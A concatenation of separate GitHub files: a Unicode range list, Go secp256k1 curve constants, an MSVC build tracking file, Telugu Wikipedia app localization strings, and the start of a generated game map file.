0DCA..0DCA 0DCF..0DD4 0DD6..0DD6 0DD8..0DDF 0DF2..0DF4 0E01..0E3A 0E3F..0E5B 0E81..0E82 0E84..0E84 0E87..0E88 0E8A..0E8A 0E8D..0E8D 0E94..0E97 0E99..0E9F 0EA1..0EA3 0EA5..0EA5 0EA7..0EA7 0EAA..0EAB 0EAD..0EB9 0EBB..0EBD 0EC0..0EC4 0EC6..0EC6 0EC8..0ECD 0ED0..0ED9 0EDC..0EDF 0F00..0F47 0F49..0F6C 0F71..0F97 0F99..0FBC 0FBE..0FCC 0FCE..0FDA 1000..10C5 10C7..10C7 10CD..10CD 10D0..1248 124A..124D 1250..1256 1258..1258 125A..125D 1260..1288 128A..128D 1290..12B0 12B2..12B5 12B8..12BE 12C0..12C0 12C2..12C5 12C8..12D6 12D8..1310 1312..1315 1318..135A 135D..137C 1380..1399 13A0..13F4 1400..169C 16A0..16F0 1700..170C 170E..1714 1720..1736 1740..1753 1760..176C 176E..1770 1772..1773 1780..17DD 17E0..17E9 17F0..17F9 1800..180E 1810..1819 1820..1877 1880..18AA 18B0..18F5 1900..191C 1920..192B 1930..193B 1940..1940 1944..196D 1970..1974 1980..19AB 19B0..19C9 19D0..19DA 19DE..1A1B 1A1E..1A5E 1A60..1A7C 1A7F..1A89 1A90..1A99 1AA0..1AAD 1B00..1B4B 1B50..1B7C 1B80..1BF3 1BFC..1C37 1C3B..1C49 1C4D..1C7F 1CC0..1CC7 1CD0..1CF6 1D00..1DE6 1DFC..1F15 1F18..1F1D 1F20..1F45 1F48..1F4D 1F50..1F57 1F59..1F59 1F5B..1F5B 1F5D..1F5D 1F5F..1F7D 1F80..1FB4 1FB6..1FC4 1FC6..1FD3 1FD6..1FDB 1FDD..1FEF 1FF2..1FF4 1FF6..1FFE 2000..2027 202A..2064 206A..2071 2074..208E 2090..209C 20A0..20B9 20D0..20F0 2100..2189 2190..23F3 2400..2426 2440..244A 2460..26FF 2701..2B4C 2B50..2B59 2C00..2C2E 2C30..2C5E 2C60..2CF3 2CF9..2D25 2D27..2D27 2D2D..2D2D 2D30..2D67 2D6F..2D70 2D7F..2D96 2DA0..2DA6 2DA8..2DAE 2DB0..2DB6 2DB8..2DBE 2DC0..2DC6 2DC8..2DCE 2DD0..2DD6 2DD8..2DDE 2DE0..2E3B 2E80..2E99 2E9B..2EF3 2F00..2FD5 2FF0..2FFB 3000..303F 3041..3096 3099..30FF 3105..312D 3131..318E 3190..31BA 31C0..31E3 31F0..321E 3220..32FE 3300..4DB5 4DC0..9FCC A000..A48C A490..A4C6 A4D0..A62B A640..A697 A69F..A6F7 A700..A78E A790..A793 A7A0..A7AA A7F8..A82B A830..A839 A840..A877 A880..A8C4 A8CE..A8D9 A8E0..A8FB A900..A953 A95F..A97C A980..A9CD A9CF..A9D9 A9DE..A9DF AA00..AA36 AA40..AA4D AA50..AA59 AA5C..AA7B AA80..AAC2 AADB..AAF6 AB01..AB06 AB09..AB0E AB11..AB16 AB20..AB26 AB28..AB2E ABC0..ABED ABF0..ABF9 AC00..D7A3 D7B0..D7C6 D7CB..D7FB E000..FA6D FA70..FAD9 FB00..FB06 FB13..FB17 FB1D..FB36 FB38..FB3C FB3E..FB3E FB40..FB41 FB43..FB44 FB46..FBC1 FBD3..FD3F FD50..FD8F FD92..FDC7 FDF0..FDFD FE00..FE19 FE20..FE26 FE30..FE52 FE54..FE66 FE68..FE6B FE70..FE74 FE76..FEFC FEFF..FEFF FF01..FFBE FFC2..FFC7 FFCA..FFCF FFD2..FFD7 FFDA..FFDC FFE0..FFE6 FFE8..FFEE FFF9..FFFD 10000..1000B 1000D..10026 10028..1003A 1003C..1003D 1003F..1004D 10050..1005D 10080..100FA 10100..10102 10107..10133 10137..1018A 10190..1019B 101D0..101FD 10280..1029C 102A0..102D0 10300..1031E 10320..10323 10330..1034A 10380..1039D 1039F..103C3 103C8..103D5 10400..1049D 104A0..104A9 10800..10805 10808..10808 1080A..10835 10837..10838 1083C..1083C 1083F..10855 10857..1085F 10900..1091B 1091F..10939 1093F..1093F 10980..109B7 109BE..109BF 10A00..10A03 10A05..10A06 10A0C..10A13 10A15..10A17 10A19..10A33 10A38..10A3A 10A3F..10A47 10A50..10A58 10A60..10A7F 10B00..10B35 10B39..10B55 10B58..10B72 10B78..10B7F 10C00..10C48 10E60..10E7E 11000..1104D 11052..1106F 11080..110C1 110D0..110E8 110F0..110F9 11100..11134 11136..11143 11180..111C8 111D0..111D9 11680..116B7 116C0..116C9 12000..1236E 12400..12462 12470..12473 13000..1342E 16800..16A38 16F00..16F44 16F50..16F7E 16F8F..16F9F 1B000..1B001 1D000..1D0F5 1D100..1D126 1D129..1D1DD 1D200..1D245 1D300..1D356 1D360..1D371 1D400..1D454 1D456..1D49C 1D49E..1D49F 1D4A2..1D4A2 1D4A5..1D4A6 1D4A9..1D4AC 1D4AE..1D4B9 1D4BB..1D4BB 1D4BD..1D4C3 1D4C5..1D505 1D507..1D50A 1D50D..1D514 1D516..1D51C 1D51E..1D539 1D53B..1D53E 1D540..1D544 1D546..1D546 1D54A..1D550 1D552..1D6A5 1D6A8..1D7CB 1D7CE..1D7FF 1EE00..1EE03 1EE05..1EE1F 1EE21..1EE22 1EE24..1EE24 1EE27..1EE27 1EE29..1EE32 1EE34..1EE37 1EE39..1EE39 1EE3B..1EE3B 1EE42..1EE42 1EE47..1EE47 1EE49..1EE49 1EE4B..1EE4B 1EE4D..1EE4F 1EE51..1EE52 1EE54..1EE54 1EE57..1EE57 1EE59..1EE59 1EE5B..1EE5B 1EE5D..1EE5D 1EE5F..1EE5F 1EE61..1EE62 1EE64..1EE64 1EE67..1EE6A 1EE6C..1EE72 1EE74..1EE77 1EE79..1EE7C 1EE7E..1EE7E 1EE80..1EE89 1EE8B..1EE9B 1EEA1..1EEA3 1EEA5..1EEA9 1EEAB..1EEBB 1EEF0..1EEF1 1F000..1F02B 1F030..1F093 1F0A0..1F0AE 1F0B1..1F0BE 1F0C1..1F0CF 1F0D1..1F0DF 1F100..1F10A 1F110..1F12E 1F130..1F16B 1F170..1F19A 1F1E6..1F202 1F210..1F23A 1F240..1F248 1F250..1F251 1F300..1F320 1F330..1F335 1F337..1F37C 1F380..1F393 1F3A0..1F3C4 1F3C6..1F3CA 1F3E0..1F3F0 1F400..1F43E 1F440..1F440 1F442..1F4F7 1F4F9..1F4FC 1F500..1F53D 1F540..1F543 1F550..1F567 1F5FB..1F640 1F645..1F64F 1F680..1F6C5 1F700..1F773 20000..2A6D6 2A700..2B734 2B740..2B81D 2F800..2FA1D E0001..E0001 E0020..E007F E0100..E01EF F0000..FFFFD 100000..10FFFD
{ "pile_set_name": "Github" }
package secp256k1 const WINDOW_A = 5 const WINDOW_G = 14 const FORCE_LOW_S = true // At the output of the Sign() function var TheCurve struct { Order, HalfOrder Number G XY beta Field lambda, a1b2, b1, a2 Number p Number } func init_contants() { TheCurve.Order.SetBytes([]byte{ 0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFE, 0xBA,0xAE,0xDC,0xE6,0xAF,0x48,0xA0,0x3B,0xBF,0xD2,0x5E,0x8C,0xD0,0x36,0x41,0x41}) TheCurve.HalfOrder.SetBytes([]byte{ 0X7F,0XFF,0XFF,0XFF,0XFF,0XFF,0XFF,0XFF,0XFF,0XFF,0XFF,0XFF,0XFF,0XFF,0XFF,0XFF, 0X5D,0X57,0X6E,0X73,0X57,0XA4,0X50,0X1D,0XDF,0XE9,0X2F,0X46,0X68,0X1B,0X20,0XA0}) TheCurve.p.SetBytes([]byte{ 0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF, 0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFE,0xFF,0xFF,0xFC,0x2F}) TheCurve.G.X.SetB32([]byte{ 0x79,0xBE,0x66,0x7E,0xF9,0xDC,0xBB,0xAC,0x55,0xA0,0x62,0x95,0xCE,0x87,0x0B,0x07, 0x02,0x9B,0xFC,0xDB,0x2D,0xCE,0x28,0xD9,0x59,0xF2,0x81,0x5B,0x16,0xF8,0x17,0x98}) TheCurve.G.Y.SetB32([]byte{ 0x48,0x3A,0xDA,0x77,0x26,0xA3,0xC4,0x65,0x5D,0xA4,0xFB,0xFC,0x0E,0x11,0x08,0xA8, 0xFD,0x17,0xB4,0x48,0xA6,0x85,0x54,0x19,0x9C,0x47,0xD0,0x8F,0xFB,0x10,0xD4,0xB8}) TheCurve.lambda.SetBytes([]byte{ 0x53,0x63,0xad,0x4c,0xc0,0x5c,0x30,0xe0,0xa5,0x26,0x1c,0x02,0x88,0x12,0x64,0x5a, 0x12,0x2e,0x22,0xea,0x20,0x81,0x66,0x78,0xdf,0x02,0x96,0x7c,0x1b,0x23,0xbd,0x72}) TheCurve.beta.SetB32([]byte{ 0x7a,0xe9,0x6a,0x2b,0x65,0x7c,0x07,0x10,0x6e,0x64,0x47,0x9e,0xac,0x34,0x34,0xe9, 0x9c,0xf0,0x49,0x75,0x12,0xf5,0x89,0x95,0xc1,0x39,0x6c,0x28,0x71,0x95,0x01,0xee}) TheCurve.a1b2.SetBytes([]byte{ 0x30,0x86,0xd2,0x21,0xa7,0xd4,0x6b,0xcd,0xe8,0x6c,0x90,0xe4,0x92,0x84,0xeb,0x15}) TheCurve.b1.SetBytes([]byte{ 0xe4,0x43,0x7e,0xd6,0x01,0x0e,0x88,0x28,0x6f,0x54,0x7f,0xa9,0x0a,0xbf,0xe4,0xc3}) TheCurve.a2.SetBytes([]byte{ 0x01,0x14,0xca,0x50,0xf7,0xa8,0xe2,0xf3,0xf6,0x57,0xc1,0x10,0x8d,0x9d,0x44,0xcf,0xd8}) } func init() { init_contants() }
{ "pile_set_name": "Github" }
^D:\GNU\EXIV2\SAMPLES\TAGLIST.CPP|D:\GNU\EXIV2\SRC\UTILS.CPP D:\GNU\EXIV2\MSVC2005\TAGLIST\BUILD\WIN32\DEBUG\UTILS.SBR D:\GNU\EXIV2\MSVC2005\TAGLIST\BUILD\WIN32\DEBUG\TAGLIST.SBR D:\GNU\EXIV2\MSVC2005\TAGLIST\BUILD\WIN32\DEBUG\TAGLIST.OBJ D:\GNU\EXIV2\MSVC2005\TAGLIST\BUILD\WIN32\DEBUG\UTILS.OBJ ^D:\GNU\EXIV2\SAMPLES\TAGLIST.CPP D:\GNU\EXIV2\MSVC2005\TAGLIST\BUILD\WIN32\DEBUG\VC100.PDB ^D:\GNU\EXIV2\SRC\UTILS.CPP D:\GNU\EXIV2\MSVC2005\TAGLIST\BUILD\WIN32\DEBUG\VC100.PDB ^D:\GNU\EXIV2\SRC\GETOPT_WIN32.C|D:\GNU\EXIV2\SRC\LOCALTIME.C D:\GNU\EXIV2\MSVC2005\TAGLIST\BUILD\WIN32\DEBUG\LOCALTIME.SBR D:\GNU\EXIV2\MSVC2005\TAGLIST\BUILD\WIN32\DEBUG\GETOPT_WIN32.SBR D:\GNU\EXIV2\MSVC2005\TAGLIST\BUILD\WIN32\DEBUG\GETOPT_WIN32.OBJ D:\GNU\EXIV2\MSVC2005\TAGLIST\BUILD\WIN32\DEBUG\LOCALTIME.OBJ ^D:\GNU\EXIV2\SRC\GETOPT_WIN32.C D:\GNU\EXIV2\MSVC2005\TAGLIST\BUILD\WIN32\DEBUG\VC100.PDB ^D:\GNU\EXIV2\SRC\LOCALTIME.C D:\GNU\EXIV2\MSVC2005\TAGLIST\BUILD\WIN32\DEBUG\VC100.PDB
{ "pile_set_name": "Github" }
"article-languages-label" = "\U0c2d\U0c3e\U0c37\U0c28\U0c3f \U0c0e\U0c02\U0c1a\U0c41\U0c15\U0c4b\U0c02\U0c21\U0c3f"; "article-about-title" = "\U0c08 \U0c35\U0c4d\U0c2f\U0c3e\U0c38\U0c02 \U0c17\U0c41\U0c30\U0c3f\U0c02\U0c1a\U0c3f"; "nearby-distance-label-meters" = "%1$@ \U0c2e\U0c40"; "article-languages-filter-placeholder" = "\U0c2d\U0c3e\U0c37\U0c28\U0c41 \U0c35\U0c46\U0c24\U0c15\U0c02\U0c21\U0c3f"; "top-read-header-generic" = "\U0c35\U0c3f\U0c15\U0c40\U0c2a\U0c40\U0c21\U0c3f\U0c2f\U0c3e"; "explore-nearby-sub-heading-your-location" = "\U0c2e\U0c40 \U0c38\U0c4d\U0c25\U0c3e\U0c28\U0c02"; "languages-title" = "\U0c2d\U0c3e\U0c37 \U0c2e\U0c3e\U0c30\U0c4d\U0c2a\U0c41"; "navbar-title-mode-edit-wikitext-preview" = "\U0c2e\U0c41\U0c28\U0c41\U0c1c\U0c42\U0c2a\U0c41"; "page-protected-other" = "\U0c08 \U0c2a\U0c47\U0c1c\U0c3f \U0c08 \U0c38\U0c4d\U0c25\U0c3e\U0c2f\U0c3f\U0c32\U0c32\U0c4b \U0c30\U0c15\U0c4d\U0c37\U0c3f\U0c02\U0c1a\U0c2c\U0c21\U0c3f\U0c02\U0c26\U0c3f: %1$@"; "explore-nearby-placeholder-heading" = "\U0c2a\U0c4d\U0c30\U0c26\U0c47\U0c36\U0c3e\U0c32\U0c41"; "page-similar-titles" = "\U0c2a\U0c4b\U0c32\U0c3f\U0c28 \U0c2a\U0c47\U0c1c\U0c40\U0c32\U0c41"; "main-menu-title" = "\U0c2e\U0c30\U0c3f\U0c02\U0c24"; "main-menu-nearby" = "\U0c26\U0c17\U0c4d\U0c17\U0c30\U0c32\U0c4b"; "account-creation-captcha-obtaining" = "\U0c15\U0c4a\U0c24\U0c4d\U0c24 \U0c15\U0c3e\U0c2a\U0c4d\U0c1a\U0c3e \U0c2a\U0c4a\U0c02\U0c26\U0c41\U0c24\U0c41\U0c28\U0c4d\U0c28\U0c3e\U0c2e\U0c41."; "explore-nearby-placeholder-sub-heading-on-language-wikipedia" = "%1$@ \U0c35\U0c3f\U0c15\U0c40\U0c2a\U0c40\U0c21\U0c3f\U0c2f\U0c3e\U0c32\U0c4b"; "page-issues" = "\U0c2a\U0c47\U0c1c\U0c3f \U0c38\U0c2e\U0c38\U0c4d\U0c2f\U0c32\U0c41"; "field-alert-username-unavailable" = "\U0c35\U0c3e\U0c21\U0c41\U0c15\U0c30\U0c3f \U0c2a\U0c47\U0c30\U0c41 \U0c05\U0c02\U0c26\U0c41\U0c2c\U0c3e\U0c1f\U0c41\U0c32\U0c4b \U0c32\U0c47\U0c26\U0c41"; "wikitext-upload-save-terms-name" = "\U0c35\U0c3e\U0c21\U0c41\U0c15 \U0c28\U0c3f\U0c2f\U0c2e\U0c3e\U0c32\U0c41"; "empty-no-search-results-message" = "\U0c2b\U0c32\U0c3f\U0c24\U0c3e\U0c32\U0c47\U0c2e\U0c40 \U0c15\U0c28\U0c2c\U0c21\U0c32\U0c47\U0c26\U0c41"; "settings-title" = "\U0c05\U0c2e\U0c30\U0c3f\U0c15\U0c32\U0c41"; "places-accessibility-show-as-map" = "\U0c2a\U0c1f\U0c02\U0c17\U0c3e \U0c1a\U0c42\U0c2a\U0c3f\U0c02\U0c1a\U0c41"; "places-search-recently-searched-header" = "\U0c07\U0c1f\U0c40\U0c35\U0c32 \U0c35\U0c46\U0c24\U0c3f\U0c15\U0c3f\U0c28\U0c35\U0c3f"; "field-username-title" = "\U0c35\U0c3e\U0c21\U0c41\U0c15\U0c30\U0c3f \U0c2a\U0c47\U0c30\U0c41"; "close-button-accessibility-label" = "\U0c2e\U0c42\U0c38\U0c3f\U0c35\U0c47\U0c2f\U0c3f"; "account-creation-logging-in" = "\U0c2a\U0c4d\U0c30\U0c35\U0c47\U0c36\U0c3f\U0c38\U0c4d\U0c24\U0c41\U0c28\U0c4d\U0c28\U0c3e\U0c30\U0c41..."; "search-recent-clear-delete-all" = "\U0c05\U0c28\U0c4d\U0c28\U0c3f\U0c1f\U0c3f\U0c28\U0c40 \U0c24\U0c4a\U0c32\U0c17\U0c3f\U0c02\U0c1a\U0c41"; "settings-notifications" = "\U0c17\U0c2e\U0c28\U0c3f\U0c02\U0c2a\U0c41\U0c32\U0c41"; "login-forgot-password" = "\U0c38\U0c02\U0c15\U0c47\U0c24\U0c2a\U0c26\U0c02 \U0c2e\U0c30\U0c4d\U0c1a\U0c3f\U0c2a\U0c4b\U0c2f\U0c3e\U0c30\U0c3e?"; "explore-nearby-heading" = "\U0c1a\U0c41\U0c1f\U0c4d\U0c1f\U0c2a\U0c15\U0c4d\U0c15\U0c32 \U0c2a\U0c4d\U0c30\U0c3e\U0c02\U0c24\U0c3e\U0c32\U0c41"; "article-languages-others" = "\U0c07\U0c24\U0c30 \U0c2d\U0c3e\U0c37\U0c32\U0c41"; "field-new-password-title" = "\U0c15\U0c4a\U0c24\U0c4d\U0c24 \U0c38\U0c02\U0c15\U0c47\U0c24\U0c2a\U0c26\U0c02"; "edit-summary-choice-fixed-typos" = "\U0c05\U0c1a\U0c4d\U0c1a\U0c41\U0c24\U0c2a\U0c4d\U0c2a\U0c41\U0c32\U0c41 \U0c38\U0c30\U0c3f\U0c1a\U0c47\U0c38\U0c3e\U0c28\U0c41"; "table-of-contents-close-accessibility-hint" = "\U0c2e\U0c42\U0c38\U0c3f\U0c35\U0c47\U0c2f\U0c3f"; "in-the-news-notification-share-action-title" = "\U0c2a\U0c02\U0c1a\U0c41\U0c15\U0c4b\U0c02\U0c21\U0c3f..."; "forgot-password-username-or-email-title" = "\U0c32\U0c47\U0c26\U0c3e"; "icon-shortcut-nearby-title" = "\U0c1a\U0c41\U0c1f\U0c4d\U0c1f\U0c41\U0c2a\U0c15\U0c4d\U0c15\U0c32 \U0c35\U0c4d\U0c2f\U0c3e\U0c38\U0c3e\U0c32\U0c41"; "history-clear-delete-all" = "\U0c05\U0c35\U0c41\U0c28\U0c41, \U0c05\U0c28\U0c4d\U0c28\U0c3f\U0c1f\U0c3f\U0c28\U0c40 \U0c24\U0c4a\U0c32\U0c17\U0c3f\U0c02\U0c1a\U0c41"; "account-creation-saving" = "\U0c2d\U0c26\U0c4d\U0c30\U0c2a\U0c30\U0c41\U0c38\U0c4d\U0c24\U0c41\U0c28\U0c4d\U0c28\U0c3e\U0c2e\U0c41..."; "about-translators" = "\U0c05\U0c28\U0c41\U0c35\U0c3e\U0c26\U0c15\U0c41\U0c32\U0c41"; "main-menu-account-logout-cancel" = "\U0c30\U0c26\U0c4d\U0c26\U0c41\U0c1a\U0c47\U0c2f\U0c3f"; "field-password-title" = "\U0c38\U0c02\U0c15\U0c47\U0c24\U0c2a\U0c26\U0c02"; "explore-most-read-more-list-title-for-date" = "%1$@ \U0c28\U0c3e\U0c1f\U0c3f \U0c2e\U0c47\U0c1f\U0c3f"; "page-protected-can-not-edit-title" = "\U0c08 \U0c2a\U0c47\U0c1c\U0c40 \U0c38\U0c02\U0c30\U0c15\U0c4d\U0c37\U0c3f\U0c02\U0c1a\U0c2c\U0c21\U0c3f\U0c02\U0c26\U0c3f"; "action-save" = "\U0c2d\U0c26\U0c4d\U0c30\U0c2a\U0c30\U0c1a\U0c41"; "continue-reading-empty-title" = "\U0c07\U0c1f\U0c40\U0c35\U0c32 \U0c1a\U0c26\U0c3f\U0c35\U0c3f\U0c28 \U0c35\U0c4d\U0c2f\U0c3e\U0c38\U0c3e\U0c32\U0c41 \U0c0f\U0c2e\U0c40 \U0c32\U0c47\U0c35\U0c41"; "article-languages-yours" = "\U0c2e\U0c40 \U0c2d\U0c3e\U0c37\U0c32\U0c41"; "action-share" = "\U0c2a\U0c02\U0c1a\U0c41\U0c15\U0c4b\U0c02\U0c21\U0c3f"; "settings-help-and-feedback" = "\U0c38\U0c39\U0c3e\U0c2f\U0c2e\U0c42, \U0c2a\U0c4d\U0c30\U0c24\U0c3f\U0c38\U0c4d\U0c2a\U0c02\U0c26\U0c28\U0c3e"; "places-accessibility-show-as-list" = "\U0c1c\U0c3e\U0c2c\U0c3f\U0c24\U0c3e\U0c17\U0c3e \U0c1a\U0c42\U0c2a\U0c3f\U0c02\U0c1a\U0c41"; "about-libraries-license" = "\U0c32\U0c48\U0c38\U0c46\U0c28\U0c4d\U0c38\U0c41"; "wikitext-upload-save-sign-in" = "\U0c2a\U0c4d\U0c30\U0c35\U0c47\U0c36\U0c3f\U0c02\U0c1a\U0c02\U0c21\U0c3f"; "search-title" = "\U0c35\U0c46\U0c24\U0c41\U0c15\U0c41"; "about-wikipedia" = "\U0c35\U0c3f\U0c15\U0c40\U0c2a\U0c40\U0c21\U0c3f\U0c2f\U0c3e"; "history-title" = "\U0c1a\U0c30\U0c3f\U0c24\U0c4d\U0c30"; "welcome-explore-tell-me-more-done-button" = "\U0c05\U0c30\U0c4d\U0c25\U0c2e\U0c48\U0c02\U0c26\U0c3f"; "welcome-explore-continue-button" = "\U0c2e\U0c4a\U0c26\U0c32\U0c41\U0c2a\U0c46\U0c1f\U0c4d\U0c1f\U0c02\U0c21\U0c3f"; "explore-main-page-heading" = "\U0c35\U0c3f\U0c15\U0c40\U0c2a\U0c40\U0c21\U0c3f\U0c2f\U0c3e\U0c32\U0c4b \U0c28\U0c47\U0c21\U0c41"; "settings-support" = "\U0c35\U0c3f\U0c15\U0c40\U0c2a\U0c40\U0c21\U0c3f\U0c2f\U0c3e\U0c15\U0c3f \U0c24\U0c4b\U0c21\U0c4d\U0c2a\U0c21\U0c02\U0c21\U0c3f"; "search-recent-clear-cancel" = "\U0c30\U0c26\U0c4d\U0c26\U0c41\U0c1a\U0c47\U0c2f\U0c3f"; "nearby-distance-label-feet" = "%1$@ \U0c05\U0c21\U0c41\U0c17\U0c41\U0c32\U0c41"; "top-read-header-with-language" = "%1$@ \U0c35\U0c3f\U0c15\U0c40\U0c2a\U0c40\U0c21\U0c3f\U0c2f\U0c3e"; "places-accessibility-group" = "%1$@ \U0c35\U0c4d\U0c2f\U0c3e\U0c38\U0c3e\U0c32\U0c41"; "field-email-title" = "\U0c08\U0c2e\U0c46\U0c2f\U0c3f\U0c32\U0c41"; "main-menu-zero-faq" = "\U0c35\U0c3f\U0c15\U0c40\U0c2a\U0c40\U0c21\U0c3f\U0c2f\U0c3e \U0c38\U0c41\U0c28\U0c4d\U0c28\U0c3e \U0c0e\U0c2b\U0c4d\U0c0e\U0c15\U0c4d\U0c2f\U0c42"; "back-button-accessibility-label" = "\U0c35\U0c46\U0c28\U0c41\U0c15\U0c15\U0c41"; "button-ok" = "\U0c38\U0c30\U0c47"; "explore-random-article-heading" = "\U0c2f\U0c3e\U0c26\U0c43\U0c1a\U0c4d\U0c1b\U0c3f\U0c15 \U0c35\U0c4d\U0c2f\U0c3e\U0c38\U0c02"; "explore-potd-heading" = "\U0c28\U0c47\U0c1f\U0c3f \U0c1a\U0c3f\U0c24\U0c4d\U0c30\U0c02"; "table-of-contents-button-label" = "\U0c35\U0c3f\U0c37\U0c2f \U0c38\U0c42\U0c1a\U0c3f\U0c15"; "article-read-more-title" = "\U0c2e\U0c30\U0c3f\U0c02\U0c24 \U0c1a\U0c26\U0c35\U0c02\U0c21\U0c3f"; "icon-shortcut-random-title" = "\U0c2f\U0c3e\U0c26\U0c43\U0c1a\U0c4d\U0c1b\U0c3f\U0c15 \U0c35\U0c4d\U0c2f\U0c3e\U0c38\U0c02"; "welcome-languages-add-button" = "\U0c2e\U0c30\U0c4a\U0c15 \U0c2d\U0c3e\U0c37\U0c28\U0c41 \U0c1a\U0c47\U0c30\U0c4d\U0c1a\U0c41"; "button-publish" = "\U0c2a\U0c4d\U0c30\U0c1a\U0c41\U0c30\U0c3f\U0c02\U0c1a\U0c41"; "account-creation-captcha-request-account" = "\U0c16\U0c3e\U0c24\U0c3e\U0c28\U0c41 \U0c05\U0c2d\U0c4d\U0c2f\U0c30\U0c4d\U0c27\U0c3f\U0c02\U0c1a\U0c02\U0c21\U0c3f."; "settings-my-languages" = "\U0c28\U0c3e \U0c2d\U0c3e\U0c37\U0c32\U0c41"; "table-of-contents-heading" = "\U0c35\U0c3f\U0c37\U0c2f\U0c3e\U0c32\U0c41"; "nearby-distance-label-km" = "%1$@ \U0c15\U0c3f\U0c2e\U0c40"; "in-the-news-title" = "\U0c35\U0c3e\U0c30\U0c4d\U0c24\U0c32\U0c4d\U0c32\U0c4b"; "action-find-in-page" = "\U0c2a\U0c47\U0c1c\U0c40\U0c32\U0c4b \U0c35\U0c46\U0c24\U0c41\U0c15\U0c41"; "edit-summary-choice-fixed-grammar" = "\U0c35\U0c4d\U0c2f\U0c3e\U0c15\U0c30\U0c23\U0c02 \U0c38\U0c30\U0c3f\U0c1a\U0c47\U0c38\U0c3e\U0c28\U0c41"; "history-clear-cancel" = "\U0c30\U0c26\U0c4d\U0c26\U0c41"; "explore-another-random" = "\U0c2e\U0c30\U0c4b \U0c2f\U0c3e\U0c26\U0c43\U0c1a\U0c4d\U0c1b\U0c3f\U0c15 \U0c35\U0c4d\U0c2f\U0c3e\U0c38\U0c02"; "about-title" = "\U0c17\U0c41\U0c30\U0c3f\U0c02\U0c1a\U0c3f"; "account-creation-passwords-mismatched" = "\U0c38\U0c02\U0c15\U0c47\U0c24\U0c2a\U0c26\U0c02 \U0c15\U0c4d\U0c37\U0c47\U0c24\U0c4d\U0c30\U0c3e\U0c32\U0c41 \U0c38\U0c30\U0c3f\U0c2a\U0c4b\U0c32\U0c32\U0c47\U0c26\U0c41."; "field-email-title-optional" = "\U0c08\U0c2e\U0c46\U0c2f\U0c3f\U0c32\U0c41 (\U0c10\U0c1a\U0c4d\U0c1a\U0c3f\U0c15\U0c02)"; "nearby-distance-label-miles" = "%1$@ \U0c2e\U0c48\U0c33\U0c4d\U0c33\U0c41"; "main-menu-account-login" = "\U0c2a\U0c4d\U0c30\U0c35\U0c47\U0c36\U0c3f\U0c02\U0c1a\U0c02\U0c21\U0c3f"; "table-of-contents-close-accessibility-label" = "\U0c35\U0c3f\U0c37\U0c2f \U0c38\U0c42\U0c1a\U0c3f\U0c15\U0c28\U0c41 \U0c2e\U0c42\U0c38\U0c3f\U0c35\U0c47\U0c2f\U0c3f"; "explore-featured-article-heading" = "\U0c35\U0c3f\U0c36\U0c47\U0c37 \U0c35\U0c4d\U0c2f\U0c3e\U0c38\U0c02"; "explore-nearby-placeholder-sub-heading-on-wikipedia" = "\U0c35\U0c3f\U0c15\U0c40\U0c2a\U0c40\U0c21\U0c3f\U0c2f\U0c3e \U0c32\U0c4b"; "main-menu-account-logout" = "\U0c28\U0c3f\U0c37\U0c4d\U0c15\U0c4d\U0c30\U0c2e\U0c3f\U0c02\U0c1a\U0c02\U0c21\U0c3f"; "empty-no-saved-pages-title" = "\U0c07\U0c02\U0c15\U0c3e \U0c2d\U0c26\U0c4d\U0c30\U0c2a\U0c30\U0c1a\U0c3f\U0c28 \U0c2a\U0c47\U0c1c\U0c40\U0c32\U0c41 \U0c0f\U0c2e\U0c40 \U0c32\U0c47\U0c35\U0c41"; "menu-cancel-accessibility-label" = "\U0c30\U0c26\U0c4d\U0c26\U0c41\U0c1a\U0c47\U0c2f\U0c3f"; "main-menu-privacy-policy" = "\U0c17\U0c4b\U0c2a\U0c4d\U0c2f\U0c24\U0c3e \U0c35\U0c3f\U0c27\U0c3e\U0c28\U0c02"; "history-clear-confirmation-heading" = "\U0c07\U0c1f\U0c40\U0c35\U0c32\U0c3f \U0c05\U0c02\U0c36\U0c3e\U0c32\U0c28\U0c4d\U0c28\U0c3f\U0c02\U0c1f\U0c3f\U0c28\U0c40 \U0c24\U0c4a\U0c32\U0c17\U0c3f\U0c02\U0c1a\U0c3e\U0c32\U0c3e?"; "image-gallery-unknown-owner" = "\U0c17\U0c41\U0c30\U0c4d\U0c24\U0c41\U0c24\U0c46\U0c32\U0c3f\U0c2f\U0c28\U0c3f \U0c30\U0c1a\U0c2f\U0c3f\U0c24."; "button-next" = "\U0c24\U0c26\U0c41\U0c2a\U0c30\U0c3f"; "main-menu-terms-of-use" = "\U0c35\U0c3e\U0c21\U0c41\U0c15 \U0c28\U0c3f\U0c2f\U0c2e\U0c3e\U0c32\U0c41"; "main-menu-about" = "\U0c2f\U0c3e\U0c2a\U0c4d \U0c17\U0c41\U0c30\U0c3f\U0c02\U0c1a\U0c3f"; "explore-continue-reading-heading" = "\U0c1a\U0c26\U0c35\U0c21\U0c02 \U0c15\U0c4a\U0c28\U0c38\U0c3e\U0c17\U0c3f\U0c02\U0c1a\U0c02\U0c21\U0c3f"; "places-search-top-articles" = "\U0c2e\U0c47\U0c1f\U0c3f \U0c35\U0c4d\U0c2f\U0c3e\U0c38\U0c3e\U0c32\U0c41"; "page-protected-autoconfirmed" = "\U0c08 \U0c2a\U0c47\U0c1c\U0c3f \U0c38\U0c17\U0c02-\U0c30\U0c15\U0c4d\U0c37\U0c3f\U0c02\U0c1a\U0c2c\U0c21\U0c3f\U0c02\U0c26\U0c3f."; "saved-title" = "\U0c2d\U0c26\U0c4d\U0c30\U0c2a\U0c30\U0c1a\U0c2c\U0c21\U0c3f\U0c02\U0c26\U0c3f"; "action-saved" = "\U0c2d\U0c26\U0c4d\U0c30\U0c2a\U0c30\U0c1a\U0c2c\U0c21\U0c3f\U0c02\U0c26\U0c3f";
{ "pile_set_name": "Github" }
# random seed 4526757206653778808 # players 6 # area 21438 # cell width: 1.08929092136 # cell size: 9 # openness: 0.539610552204 # grid size: (1, 6) # tile size: (114, 29) 0.254385964912 # map size: (114, 174) 1.52631578947 # horz_rotate # horz_copy # maze type recursive backtracker # final openness 0.539610552204 # map_type cell_maze # random_seed 4526757206653778808 players 6 rows 114 cols 174 m ..............................%%........................................................%%........................................................%%.......................... m ...............................%%........................................................%%........................................................%%......................... m .................................%%........................................................%%........................................................%%....................... m 